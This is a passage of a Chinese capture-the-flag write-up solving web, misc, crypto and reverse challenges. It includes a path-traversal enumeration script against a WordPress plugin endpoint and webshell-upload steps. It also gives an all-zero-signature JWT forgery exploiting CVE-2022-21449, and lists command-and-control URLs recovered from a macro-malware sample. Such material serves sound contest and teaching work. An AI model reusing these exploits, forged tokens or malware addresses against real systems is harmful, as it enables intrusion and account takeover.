'Proxy-Connection': 'keep-alive',
# 'Content-Length': '63635',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Origin': 'http://eci-2ze8d2tyn8usoaf0sv2z.cloudeci1.ichunqiu.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0',
'Content-Type': 'image/jpeg',
'Accept': '*/*',
'Referer': 'http://eci-2ze8d2tyn8usoaf0sv2z.cloudeci1.ichunqiu.com/index.php/upload/',
'Accept-Language': 'zh-CN,zh;q=0.9',
# Requests sorts cookies= alphabetically
'Cookie': 'wordpress_e30be3ef627e539ccdd4cff2de8a86de=d1a0%7C1659416008%7CoNMtSVXQcc6SQqbOe9l41EFhZ5kB5hCp8x2qnnuTUiB%7C77037eb84c40fee56790d68876127585089ec54ed8f02666ff200a8833a98bc6; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1657598296,1657796261; wordpress_logged_in_e30be3ef627e539ccdd4cff2de8a86de=d1a0%7C1659416008%7CoNMtSVXQcc6SQqbOe9l41EFhZ5kB5hCp8x2qnnuTUiB%7C1b305b9295f6d60fb21c6b4483d85ab883d6a1b3caaca141327d307eef9d37f0',
}
for i in range(1,11):
for s in strings:
params = {
'field_name': 'upload',
'filepath': '/../../../../../username/'+str(i)+s,
'field_id': 'um_field_2',
'form_key': 'upload',
'action': 'um_show_uploaded_file',
'pf_nonce': '3a49424cc3',
'is_ajax': 'true',
}
response = requests.post('http://eci-2ze8d2tyn8usoaf0sv2z.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php', params=params, headers=headers, verify=False).text
if "umRemoveFile" in response:
print(str(i)+s)
break
最终得到账号MaoGePaMao
,密码MaoGeYaoQiFeiLa
最后管理员账号登录后台,修改插件中的上传限制,添加php,然后传马,getflag
http://eci-2ze4p4hvj4e3ek98pkrk.cloudeci1.ichunqiu.com/wp-content/uploads/files/1.php
地址也贴心的给出了 getshell
Misc
签到
复制题目描述就完事了。
问卷调查
填问卷就完事了。
谍影重重
拿到题目,一个带密码的压缩包,一个配置文件,一个流量包。
压缩包密码说是要拿到api address
,大概在流量包里。
配置文件里面看起来只给了一部分必要参数?
根据关键词"config.json" "settings" "clients" "id"
查询可以发现,Google首屏结果与V2Ray
高度相关,所以推测流量包是VMess
协议,后续放出来的hint也证实了这一点。
看下流量包,只有127.0.0.1:37886 - 127.0.0.1:10087
的往返流量,发起方是127.0.0.1:37886
,所以V2Ray
服务器是127.0.0.1:10087
那就想办法解析流量呗,先是去看了一下V2Fly
组织(因为原组织Project V
的主导者失踪了)对VMess
协议的一些数据包细节:VMess 协议 | V2Fly.org。
尝试写Python
脚本去解析流量,在第一天中午的时候马上搞定对开头认证信息
的解析(因为真的很标准,没啥难度),爆破出了流量的时间戳是1615528982
(2021-03-12 14:03:02
)。
from hashlib import md5
import hmac
uuid = bytes.fromhex("b831381d-6324-4d53-ad4f-8cda48b30811".replace('-', ''))
t = int(time.time())
target = "4dd11f9b04f2b562b9db539d939f1d52b48b35bf592c09b21545392f73f6cef91143786464578c1c361aa72f638cd0135f25343555f509aef6c74cd2a2b86ee0a9eb3b93a81a541def4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26"
while True:
t -= 1
result = hmac.new(uuid, t.to_bytes(8, "big"), md5).digest().hex()
if target[0:32] == result:
print(t, result)
break
于是开始尝试写指令部分
的解析,这里花了一个小时左右搞定了大致的解析,但是版本号 Ver
不知道为什么不是文档说的固定值1
,校验 F
也不知道为什么算不对,找了一下午+一晚上的原因都没找到,于是进度卡住了。
半夜突然想到可以调用V2Ray
项目直接解析看看,于是找找看看有没有现成的解析流量相关的测试接口(因为这种大型项目发版前肯定要验证的),成功找到了proxy/vmess/encoding/encoding_test.go这个测试流程,里面有通过NewServerSession
函数对ServerSession
进行实例化,然后调用DecodeRequestHeader
函数来解析客户端发过来的认证信息
+指令部分
,跟过去看了下,还有个DecodeRequestBody
函数可以解析数据部分
,而且这俩传参都是字节流,还有这种好事?
直接把整个项目拉下来,因为对于Golang
不太熟悉(之前只写过一个简单的C/S
架构网络小项目,所以勉强算会写的程度),所以也有样学样创建测试流程去解析吧,毕竟万一创建主程序出事了呢?
package encoding_test
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/v2fly/v2ray-core/v5/common"
"testing"
"github.com/v2fly/v2ray-core/v5/common/protocol"
"github.com/v2fly/v2ray-core/v5/proxy/vmess"
. "github.com/v2fly/v2ray-core/v5/proxy/vmess/encoding"
)
func TestCtf(t *testing.T) {
user := &protocol.MemoryUser{
Level: 0,
Email: "test@v2fly.org",
}
account := &vmess.Account{
Id: "b831381d-6324-4d53-ad4f-8cda48b30811",
AlterId: 0,
}
user.Account = toAccount(account)
userValidator := vmess.NewTimedUserValidator(protocol.DefaultIDHash)
userValidator.Add(user)
defer common.Close(userValidator)
sessionHistory := NewSessionHistory()
defer common.Close(sessionHistory)
server := NewServerSession(userValidator, sessionHistory)
requestHex := "4dd11f9b04f2b562b9db539d939f1d52b48b35bf592c09b21545392f73f6cef91143786464578c1c361aa72f638cd0135f25343555f509aef6c74cd2a2b86ee0a9eb3b93a81a541def4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26"
requestBuffer, _ := hex.DecodeString(requestHex)
requestBufferReader := bytes.NewReader(requestBuffer)
requestHeader, err := server.DecodeRequestHeader(requestBufferReader)
if err != nil {
t.Error(err)
}
fmt.Println(requestHeader)
requestBody, err := server.DecodeRequestBody(requestHeader, requestBufferReader)
if err != nil {
t.Error(err)
}
fmt.Println(requestBody)
}
然后不出意外地报错了,具体原因的话,猜测是系统当前时间的锅,因为V2Ray
的加密是基于当前秒级时间戳的,具体的话,文档里面有写,说是随机取上下30s
的时间戳当关键参数,并且其存在贯穿了整个数据交互。那么咱们系统当前时间戳就应该要在1615528982
左右才行。
那么想办法hook
掉或者硬编码掉取系统当前时间的返回值吧,上面有个vmess.NewTimedUserValidator
的调用,看名字应该就是基于用户id+当前时间的验证器,进去看看怎么取当前时间的,发现用的是语言层的函数time.Now()
。
跟进去看看实现,先下个断点调一下看看值的格式。
看起来应该是改第一个秒钟sec
就行,在第二行加一句sec = 1615528982
试试,成功pass
掉刚才的测试。
不过RequestHeader
和RequestBody
似乎都没有文本化的实现,那就去下个断点看看值吧。
看着似乎没有咱们想要的数据啊,就一个代理目标是127.0.0.1:5000
,走的TCP
,这个之前用Python
去解析的时候就知道了。然后用加密协议怎么变成AES-128-GCM
了,之前Python
解析出来加密方式 Sec
字段是3
啊,按照文档说的应该是ChaCha20-Poly1305
才对。于是去看一下代码里的相关定义,好家伙,文档居然是错的,这文档是得多久没更新也没人看啊...
那看看各自有啥函数能调用吧,应该有读取数据的接口的。
RequestHeader
就一个Destination
函数,看着应该是解析出代理目标用的,应该是个字段的类型转换器,没啥用。
RequestBody
就一个ReadMultiBuffer
函数,不过看着似乎很像咱们要的东西。
看一下项目里对这个函数的用法,因为这个函数是buf.Reader
来的,所以其他各种地方的用法应该也一样。
看着似乎是要for
循环一直判断有没有读完到EOF
,这画风...太流式了哈哈哈。
那就照着写吧,成功搞定http请求的解析。
但是着看着没啥东西啊,就一个http://127.0.0.1:5000/out
的GET
访问,本来刚开始以为这个就是压缩包密码说的那个api address
的,但是后来放hint表示需要的是c2
的地址。
所以那就继续解析http返回吧。
根据刚才的经验,合理猜测ClientSession
类应该会有DecodeResponseHeader
和DecodeResponseBody
两个方法,那就去用NewClientSession
方法实例化咯。代码依旧从项目原本的测试流程里抄。
返回流量的hex
的话,因为tcp
会有粘包、半包的“特性”,所以根据V2Ray
1发1收的流程,下一个发送的非空数据包之前收到数据都是同一个包的半包(实际的网络情况会更复杂,毕竟还有延迟、并发啥的,这题总共就俩非空发送包,所以应该上不用考虑)
第二个数据包(92号数据流):
package encoding_test
import (
"bytes"
"context"
"encoding/hex"
"fmt"
"github.com/v2fly/v2ray-core/v5/common"
"io"
"testing"
"github.com/v2fly/v2ray-core/v5/common/protocol"
"github.com/v2fly/v2ray-core/v5/proxy/vmess"
. "github.com/v2fly/v2ray-core/v5/proxy/vmess/encoding"
)
func TestCtf(t *testing.T) {
user := &protocol.MemoryUser{
Level: 0,
Email: "test@v2fly.org",
}
account := &vmess.Account{
Id: "b831381d-6324-4d53-ad4f-8cda48b30811",
AlterId: 0,
}
user.Account = toAccount(account)
userValidator := vmess.NewTimedUserValidator(protocol.DefaultIDHash)
userValidator.Add(user)
defer common.Close(userValidator)
sessionHistory := NewSessionHistory()
defer common.Close(sessionHistory)
server := NewServerSession(userValidator, sessionHistory)
requestHex := "4dd11f9b04f2b562b9db539d939f1d52b48b35bf592c09b21545392f73f6cef91143786464578c1c361aa72f638cd0135f25343555f509aef6c74cd2a2b86ee0a9eb3b93a81a541def4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26"
requestBuffer, _ := hex.DecodeString(requestHex)
requestBufferReader := bytes.NewReader(requestBuffer)
requestHeader, err := server.DecodeRequestHeader(requestBufferReader)
if err != nil {
t.Error(err)
}
fmt.Println(requestHeader)
requestBody, err := server.DecodeRequestBody(requestHeader, requestBufferReader)
if err != nil {
t.Error(err)
}
fmt.Println(requestBody)
for {
requestBodyBuffer, err := requestBody.ReadMultiBuffer()
if err != nil {
if err == io.EOF {
break
} else {
t.Error(err)
}
}
fmt.Print(requestBodyBuffer.String())
}
fmt.Println()
client := NewClientSession(context.TODO(), false, protocol.DefaultIDHash, 0)
responseHex := "这里贴返回包的hex,特别长,放不下,就不贴了,4a231cf7开头63b871c8结尾的"
responseBuffer, _ := hex.DecodeString(responseHex)
responseBufferReader := bytes.NewReader(responseBuffer)
responseHeader, err := client.DecodeResponseHeader(responseBufferReader)
if err != nil {
t.Error(err)
}
fmt.Println(responseHeader)
responseBody, err := client.DecodeResponseBody(requestHeader, responseBufferReader)
if err != nil {
t.Error(err)
}
fmt.Println(responseBody)
}
成功报错了...
到这里进度又卡了好久,因为没想明白为什么还会有问题。
后来半夜的时候一想,文档说返回包用的key
和iv
是发送包里的,那咱这解析返回头的时候好像没传requestHeader
啊?找了下也没地方传,毕竟正常情况下,咱作为一个客户端,key
和iv
就是自己生成的,没必要传啊。
所以去看下客户端存储key
和iv
的地方。
再看看怎么赋值的。
这怎么还跟AEAD
有关系啊,文档没说啊,文档就说了非AEAD
的那个情况,所以文档真的是八百年前的了...
算了不管文档,直接抄过来。然后爆红了,说是private
了。
那就public
一下这俩字段。
然后是key
和iv
的来源,和原来一样从客户端自己这边拿肯定不行,因为咱们的客户端是刚建的,不是正常情况,所以就从服务端那边拿咯。
看一下服务器的字段,确实也有存这俩东西。那就也public
一下拿来用呗。
if !client.IsAEAD {
client.ResponseBodyKey = md5.Sum(server.RequestBodyKey[:])
client.ResponseBodyIV = md5.Sum(server.RequestBodyIV[:])
} else {
BodyKey := sha256.Sum256(server.RequestBodyKey[:])
copy(client.ResponseBodyKey[:], BodyKey[:16])
BodyIV := sha256.Sum256(server.RequestBodyIV[:])
copy(client.ResponseBodyIV[:], BodyIV[:16])
}
但是还是报错了。
这回感觉没啥不对的了,只有那个AEAD
是和Auth
功能有关,所以关掉客户端的isAEAD
看看。
这回报错变了,但是有点不理解是啥意思,去看看报错的代码细节吧。
看了下是在比对返回头的第0
个字节和responseHeader
,那这就是文档的响应认证 V
字段啊,确实忘记这回事了,也和key
/iv
一样初始化一下。
client.ResponseHeader = server.ResponseHeader
成功解析。
那就补上读取过程看看内容。
for {
responseBodyBuffer, err := responseBody.ReadMultiBuffer()
if err != nil {
if err == io.EOF {
break
} else {
t.Error(err)
}
}
fmt.Print(responseBodyBuffer.String())
}
fmt.Println()
成功读取到html
内容。看了下主要内容是js
里面在解一大段Base64
。
但是这里明显没输出完,应该是GoLand
的异步日志问题,如果主进程结束太快但是日志又多的话,日志输出的内容有时候会吞掉最后的那部分。
所以根据经验,在结束之前下个断点再放行就没问题。
看了下js的大致逻辑,就是打开页面自动把Base64
的解析结果保存成一个文件。
所以直接把返回包的html
部分保存一下访问就能拿到一个word
。
那么根据之前的hint
,c2 api address
大概率是在这个word
的宏里了,因为宏病毒带cnc
太常见了。
本来是打算用oletools
去查看宏的,但是尝试了下发现有混淆,而且最后是写了个病毒文件,然后作为Word
主题模板的dll
文件让Word
去调用,最后执行dll
里面的cnc
相关代码。
也就是说还得逆向?感觉不对啊。直接用云沙箱看看网络请求吧:样本报告-微步在线云沙箱
看了下就一个应该是查本机ip的请求,剩下应该还有三个请求因为域名解析失败没被记录。
推测是微步这个样本分析的是时候,c2
服务器已经挂了,所以没解析成,于是又去找了个时间更早的外国沙箱分析报告(因为c2
的域名是俄罗斯的,推测国外样本捕获比国内早):3a5648f7de99c4f87331c36983fc8adcd667743569a19c8dafdd5e8a33de154d | ANY.RUN - Free Malware Sandbox Online
确实有另外几个请求。
看一下详细的请求情况。
推测satursed.com
是主服,主服没反应再看sameastar.ru
次服,如果还不行才是微步那个ludiesibut.ru
备用服。
先看了下api.ipify.org
的请求,确实就是个查ip的api,不是c2
。
然后看了下sameastar.ru
的请求,确实就是经典的数据统计+加密控制流一条龙的c2
请求
所以题目要的api address
应该就是下面这几个之一了:
http://satursed.com/8/forum.php
http://sameastar.ru/8/forum.php
http://ludiesibut.ru/8/forum.php
satursed.com/8/forum.php
sameastar.ru/8/forum.php
ludiesibut.ru/8/forum.php
satursed.com
sameastar.ru
ludiesibut.ru
/8/forum.php
8/forum.php
/forum.php
forum.php
但是试了好久都不对,md5
的大小写也试了,16位32位也试了,愣是没有一个是对的。
最后不抱希望地试了下api.ipify.org
的md5
值08229f4052dde89671134f1784bed2d6
,结果真是压缩包密码...
解压出来发现有个描述:This is a Gob File!
。
那就用degob
看看序列化之前的结构体类型吧。
实际上就是个map[string][]byte
型,写个反序列化脚本看看。
package main
import (
"encoding/gob"
"fmt"
"io/ioutil"
"math/rand"
"os"
)
func main() {
var a map[string][]byte
File, _ := os.Open("flag")
D := gob.NewDecoder(File)
err := D.Decode(&a)
if err != nil {
fmt.Println(err)
return
}
fmt.Println(a)
}
给了刚才的gob
提示、一个时间、一个png文件,但是png被加密了。
根据题目hint
,说是数据被随机打乱了,那么和时间放一起,可以联想到Golang
的math/rand
随机库有个Shuffle
功能,正好适合用来打乱,然后时间可以变成时间戳当作随机数种子去使用。
而其最常见的用法如下(来自Shuffle a slice or array · YourBasic Go):
a := []int{1, 2, 3, 4, 5, 6, 7, 8}
rand.Seed(time.Now().UnixNano())
rand.Shuffle(len(a), func(i, j int) { a[i], a[j] = a[j], a[i] })
那就照着这个用法写呗。
package main
import (
"encoding/gob"
"fmt"
"io/ioutil"
"math/rand"
"os"
)
func main() {
var a map[string][]byte
File, _ := os.Open("flag")
D := gob.NewDecoder(File)
err := D.Decode(&a)
if err != nil {
fmt.Println(err)
return
}
fmt.Println(a)
b := make([]byte, len(a["PNG File"]))
copy(b, a["PNG File"])
rand.Seed(1658213396)
rand.Shuffle(len(b), func(i, j int) {
b[i], b[j] = b[j], b[i]
})
err = ioutil.WriteFile("b.png", b, 0777)
if err != nil {
panic(err)
}
}
结果发现还是没解开。那再打乱下标尝试一下。
package main
import (
"encoding/gob"
"fmt"
"io/ioutil"
"math/rand"
"os"
)
func main() {
var a map[string][]byte
File, _ := os.Open("flag")
D := gob.NewDecoder(File)
err := D.Decode(&a)
if err != nil {
fmt.Println(err)
return
}
fmt.Println(a)
b := make([]byte, len(a["PNG File"]))
copy(b, a["PNG File"])
c := make([]int, len(b))
for i := 0; i < len(b); i++ {
c[i] = i
}
rand.Seed(1658213396)
rand.Shuffle(len(b), func(i, j int) {
c[i], c[j] = c[j], c[i]
})
for i := 0; i < len(b); i++ {
b[c[i]] = a["PNG File"][i]
}
err = ioutil.WriteFile("b.png", b, 0777)
if err != nil {
panic(err)
}
}
成功解开得到如下图片。
找半天发现flag在a
通道,但是数据很散。
保存出来去掉0xff
应该就行了。
成功得到flag。
flag{898161df-fabf-4757-82b6-ffe407c69475}
Crypto
myJWT
这题就给了个源码和公共容器。
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.security.KeyPair;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;
import java.security.*;
import java.util.Base64;
import java.util.Scanner;
import com.alibaba.fastjson.*;
class ECDSA{
public KeyPair keyGen() throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");
keyPairGenerator.initialize(384);
KeyPair keyPair = keyPairGenerator.genKeyPair();
return keyPair;
}
public byte[] sign(byte[] str, ECPrivateKey privateKey) throws Exception {
Signature signature = Signature.getInstance("SHA384withECDSAinP1363Format");
signature.initSign(privateKey);
signature.update(str);
byte[] sig = signature.sign();
return sig;
}
public boolean verify(byte[] sig, byte[] str ,ECPublicKey publicKey) throws Exception {
Signature signature = Signature.getInstance("SHA384withECDSAinP1363Format");
signature.initVerify(publicKey);
signature.update(str);
return signature.verify(sig);
}
}
public class jwt{
public static int EXPIRE = 60;
public static ECDSA ecdsa = new ECDSA();
public static String generateToken(String user, ECPrivateKey ecPrivateKey) throws Exception {
JSONObject header = new JSONObject();
JSONObject payload = new JSONObject();
header.put("alg", "myES");
header.put("typ", "JWT");
String headerB64 = Base64.getUrlEncoder().encodeToString(header.toJSONString().getBytes());
payload.put("iss", "qwb");
payload.put("exp", System.currentTimeMillis() + EXPIRE * 1000);
payload.put("name", user);
payload.put("admin", false);
String payloadB64 = Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());
String content = String.format("%s.%s", headerB64, payloadB64);
byte[] sig = ecdsa.sign(content.getBytes(), ecPrivateKey);
String sigB64 = Base64.getUrlEncoder().encodeToString(sig);
return String.format("%s.%s", content, sigB64);
}
public static boolean verify(String token, ECPublicKey ecPublicKey) throws Exception {
String[] parts = token.split("\\.");
if (parts.length != 3) {
return false;
}else {
String headerB64 = parts[0];
String payloadB64 = parts[1];
String sigB64 = parts[2];
String content = String.format("%s.%s", headerB64, payloadB64);
byte[] sig = Base64.getUrlDecoder().decode(sigB64);
return ecdsa.verify(sig, content.getBytes(), ecPublicKey);
}
}
public static boolean checkAdmin(String token, ECPublicKey ecPublicKey, String user) throws Exception{
if(verify(token, ecPublicKey)) {
String payloadB64 = token.split("\\.")[1];
String payloadDecodeString = new String(Base64.getUrlDecoder().decode(payloadB64));
JSONObject payload = JSON.parseObject(payloadDecodeString);
if(!payload.getString("name").equals(user)) {
return false;
}
if (payload.getLong("exp") < System.currentTimeMillis()) {
return false;
}
return payload.getBoolean("admin");
} else {
return false;
}
}
public static String getFlag(String token, ECPublicKey ecPublicKey, String user) throws Exception{
String err = "You are not the administrator.";
if(checkAdmin(token, ecPublicKey, user)) {
File file = new File("/root/task/flag.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String flag = br.readLine();
br.close();
return flag;
} else {
return err;
}
}
public static boolean task() throws Exception {
Scanner input = new Scanner(System.in);
System.out.print("your name:");
String user = input.nextLine().strip();
System.out.print(String.format("hello %s, let's start your challenge.\n", user));
KeyPair keyPair = ecdsa.keyGen();
ECPrivateKey ecPrivateKey = (ECPrivateKey) keyPair.getPrivate();
ECPublicKey ecPublicKey = (ECPublicKey) keyPair.getPublic();
String menu = "1.generate token\n2.getflag\n>";
Integer choice = 0;
Integer count = 0;
while (count <= 10) {
count++;
System.out.print(menu);
choice = Integer.parseInt(input.nextLine().strip());
if(choice == 1) {
String token = generateToken(user, ecPrivateKey);
System.out.println(token);
} else if (choice == 2) {
System.out.print("your token:");
String token = input.nextLine().strip();
String flag = getFlag(token, ecPublicKey, user);
System.out.println(flag);
input.close();
break;
} else {
input.close();
break;
}
}
return true;
}
public static void main(String[] args) throws Exception {
task();
}
}
这题用的验证是ECDSA
,而今年这玩意在Java
上就有个大洞,具体原理可以看CVE-2022-21449
。
通俗地讲,用全0
的签名值就可以100%
通过验证。
所以就连上去先搞个格式看看。随手输个用户名,然后拿一下token。
得到:
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiV2Fua2tvIFJlZSIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzIxMzI4NDM4fQ==.n9etXBkmMevswYAF1prJ3245n4o-emhq4JVUq4ocoCOfbPpPjJtVB092o0h1U5SgE8b-pKaCstkhxQYH78yXYEpgI-GqHLaIc7DKZ2cHF5IZU6wdci18TFh_YspAIwpn
第一段根据之前的代码可以知道是固定的东西,不用管,第二段解码之后是{"iss":"qwb","name":"Wankko Ree","admin":false,"exp":1659321328438}
,按照代码的逻辑,需要admin
为true
,然后过期时间戳要比现在还未来(说人话就是别过期),而传过来的是之前那个时刻的时间戳,所以只要增大就完事。比如说改成{"iss":"qwb","name":"Wankko Ree","admin":true,"exp":1759321328438}
,那么其Base64
就是eyJpc3MiOiJxd2IiLCJuYW1lIjoiV2Fua2tvIFJlZSIsImFkbWluIjp0cnVlLCJleHAiOjE3NTkzMjEzMjg0Mzh9
,然后最后的签名值,全置0就完事,也就是AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
。
所以发送:
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiV2Fua2tvIFJlZSIsImFkbWluIjp0cnVlLCJleHAiOjE3NTkzMjEzMjg0Mzh9.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
就可以拿到flag。
flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}
Reverse
GameMaster
拿到题目看一下分析,发现是C#
写的,那就直接dnSpy
一把梭。
先是在goldFunc
找到了奇怪的解码过程。
甚至看情况有AchivePoint1
就有AchivePoint2
、AchivePoint3
,所以继续找。
看过程就是先把Program.memory
每字节异或34
,然后用那个key
(实际上是Brainstorming!!!
的ascii化结果)解AES-ECB
,存到Program.m
,最后反序列化一下。
那先去看看Program.memory
是哪里初始化的。
可以看出是从gamemessage
文件读取的,那就先写个脚本解一下。
from Crypto.Cipher import AES
def main():
with open('gamemessage', 'rb') as f:
data = bytearray(f.read())
for i in range(len(data)):
data[i] ^= 34
cipher = AES.new(b"Brainstorming!!!", AES.MODE_ECB)
with open('gamemessage.de', 'wb') as f:
f.write(cipher.decrypt(data))
if __name__ == '__main__':
main()
成功得到序列化的结果。
在文件尾发现一个dll。
提取出来用dnSpy
再看下,大致可以判断出来,Check1
函数用array
生成array2
,然后array2
要等于first
。然后ParseKey
函数用array
生成array4
,再用array4
循环异或array5
,就是最后flag。
而关键的array
来自num
,num
又是从之前那个AchivePoint
来的,但这玩意不确定具体记录的时候是多少,因为游戏是随机的,分数全看缘分。
那么只能用first
和Check1
函数的逻辑倒推array
了。
就一堆位运算,那就直接z3
解方程吧。
from z3 import *
x, y, z = BitVecs('x y z', 64)
solver = Solver()
first = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5]
k = [0 for i in range(40)]
num = -1
for i in range(320):
x = ((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1
y = ((y >> 30 ^ y >> 27) & 1) | y << 1
z = ((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1
if i % 8 == 0:
num += 1
k[num] = (k[num] << 1) | ((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1)))
for i in range(40):
solver.add(k[i] & 0xff == first[i])
print(solver.check())
print(solver.model())
得到y = 868387187, x = 156324965, z = 3131229747
。
那模拟一下ParseKey
然后搞一下最后的循环异或就能出结果。
l = [156324965, 868387187, 3131229747]
key = [0 for i in range(12)]
for i in range(3):
for j in range(4):
key[i*4+j] = l[i] >> j * 8 & 0xff
mask = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
for i in range(len(mask)):
mask[i] ^= key[i % len(key)]
print(bytes(mask))
flag{Y0u_@re_G3meM3s7er!}